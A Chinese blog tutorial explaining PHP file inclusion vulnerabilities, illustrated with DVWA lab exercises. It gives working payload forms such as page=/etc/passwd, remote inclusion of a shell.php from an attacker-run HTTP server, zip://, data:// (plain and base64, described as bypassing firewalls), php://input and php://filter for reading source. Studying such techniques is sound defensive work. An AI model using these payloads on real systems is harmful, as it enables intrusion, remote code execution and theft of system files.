首页 > 其他分享 >文件包含漏洞

文件包含漏洞

时间:2023-01-14 20:44:07浏览次数:42  
标签:文件 shell 包含 漏洞 服务器 php

文件包含漏洞

一、文件包含漏洞原理解析

1.什么是包含

开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程被称为包含

2.文件包含漏洞产生原因

在通过引入文件时,由于传入的文件名没有经过合理的校验,或者校检被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入

当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行

3.文件包含漏洞的分类

①.本地文件包含漏洞

当被包含的文件在服务器本地时,就形成的本地文件包含漏洞(LFI)

例如:xxx.com/index.php?page=/etc/passwd

②.远程文件包含漏洞

当被包含的文件在远程服务器时,就形成的远程文件包含漏洞(RFI)

例如:xxx.com/index.php?page=http://xxx.com/asdfaf.php

远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)

二、目录遍历和文件包含的区别

目录遍历是可以读取web根目录以外的其他目录,根源在于web application的路径访问权限设置不严,针对的是本系统(更偏向于读取我们原先读取不了的文件)

例如:

1

我们之前无法访问win.ini(不在web目录下),但我们通过include文件包含漏洞去访问到了一个我们原先无法访问的文件,这种一般称为目录遍历

文件包含是通过include等函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含(更偏向于执行,把包含的内容当作php脚本去执行)

但两者的利用方式和漏洞成因都是一样的

三、常见的敏感信息路径

2

四、文件包含函数及其特性

include、include_once、require、require_once

无论他们包含的文件是什么类型,都当成php脚本解析并执行

五、文件包含漏洞访问方法(伪协议)

1.file协议访问绝对路径(file://+绝对路径

file:///C:/phpstudy_pro/WWW/dvwa/hackable/uploads/picshell.jpg

2.直接读取文件:upload/shell.php

3.返回上级目录:../upload/shell.php

4.直接访问绝对路径:C:/phpstudy_pro/WWW/dvwa/hackable/uploads/picshell.jpg

5.绝对路径位置,使用多个../返回根目录(或者过滤掉冒号时):../../../../phpstudy_pro/WWW/dvwa/hackable/uploads/picshell.jpg

6.http协议包含远程文件(无文件上传漏洞只有文件包含漏洞):

①自己启动一个http服务器

3

访问服务器

4

②复制shell.php的地址去包含
成功执行脚本

5

包含的逻辑是:客户端给服务器提交了一个请求,让受害服务器从黑客的服务器上包含一个文件,受害服务器向黑客服务器发送一个请求,获得了一个shell.php,这个shell.php是在受害服务器上执行(黑客服务器只提供shell.php供受害服务器执行,自己并不执行),而受害服务器在执行后把执行结果返回给客户端【黑客服务器即是攻击者自己的服务器】

7.zip协议:zip://shell.zip#shell.php,若服务器允许上传一个zip压缩包,可以使用该协议读取压缩包里的内容然后进行包含(shell.php前可添加路径,当然也不一定非要php文件,txt也可以,因为文件包含函数的特性,什么文件都会当成php执行)

①上传一个zip压缩包(若服务器只允许上传zip,禁止php,可以把php压缩成zip上传)

②使用zip协议进行包含

6

8.data协议:data://text/plan,<?php phpinfo(); ?>

把逗号后的内容当作文件内容给include包含

7

data协议变种(base64编码):data://text/plan;base64,PD9waHAgcGhwaW5mbygpOyA/Pg(此方法可以绕过一些防火墙)

8

9.php://input协议:在url中直接输入"php://input",在post请求中执行php命令(把用户提交的post表单当作文件内容,与data协议差不多)

9

10.php://filter/read=convert.base64-encode/resource=:读取文件源码

如,要读取"fi_remote.php"文件的源码就可以使用php://filter

我们可以看到,读取出了这样一段内容

10

将这段内容进行base64解码即可读取"fi_remote.php"文件内容

11

标签:文件,shell,包含,漏洞,服务器,php
From: https://www.cnblogs.com/vinslow/p/17052505.html

相关文章

  • DVWA-文件包含漏洞通关详解
    DVWA-文件包含漏洞通关详解一、low通关过程在[DVWA-文件上传漏洞通关详解](DVWA-文件上传漏洞通关详解-佐迦-博客园)的High难度中二、Medium我们将上一题使用的路......
  • DVWA-文件上传漏洞通关详解
    DVWA-文件上传漏洞通关详解一、low尝试直接上传php文件成功执行,此题无任何过滤二、Medium尝试直接上传php文件,这次显示失败,说明有了过滤可以尝试修改MIME认证使用b......
  • 文件上传漏洞
    文件上传漏洞一、概要通常是由于对上传文件的类型、内容没有进行严格的过滤、检查或者过滤被成功绕过,使得攻击者可以通过上传木马获取服务器的webshell权限1.什么是webs......
  • 文件 字节流
    2、文件读取字节流FileStreamfs= new FileStream(filename,FileMode.Open,FileAccess.Read);byte[]infbytes= new byte[(int)fs.Length];fs.Read(infbytes,0,......
  • 文件相关信息,时间相关操作,定时任务,paramiko模块
    文件相关信息查看文件大小与删除大文件#查看普通⽂件⼤⼩⽅法[root@jason/tmp]#ls-lh/etc/services#查看⽬录⽂件⼤⼩⽅法du显示⽬录中的数据真实占⽤磁盘......
  • ⽹络不通排查流程,各个目录下的重要文件,文件权限及用户、用户组情况
    ⽹络不通排查流程1.确认⽹关地址是否通畅2.确认⽹卡配置是否正确3.确认⽹络管理服务关闭systemctlstopNetworkManagersystemctldisableNetworkMana......
  • 使用ffmpeg合并多个ts文件
    使用ffmpeg合并多个ts文件需求来源在海康的行车记录仪上录制的视频为每分钟一个ts文件,在手机上最多也就可以设置为3分钟,并且在APP只能一下导出5个文件,所以我就将内存卡拔......
  • Python常用文件操作程序
    批量修该文件名。importos#导入模块filename='./2212144sep'#文件地址list_path=os.listdir(filename)#读取文件夹里面的名字st=#写入开始forindexin......
  • 【转】pageoffice在线打开word文件加盖电子印章
    一、加盖印章的js方法js方法二、常见使用场景1、常规盖章。弹出用户名、密码输入框,选择对应印章。点击盖章按钮弹出用户名密码登录框,登录以后显示选择电子印章。do......
  • 22 视频文件摄像头使用
    22视频文件摄像头使用opencv知识点:VIdeoCapture类读取视频/相机-三种方式读取视频帧-两种方式本文所解决的问题:如何读取视频/相机?如何读取视频帧?本......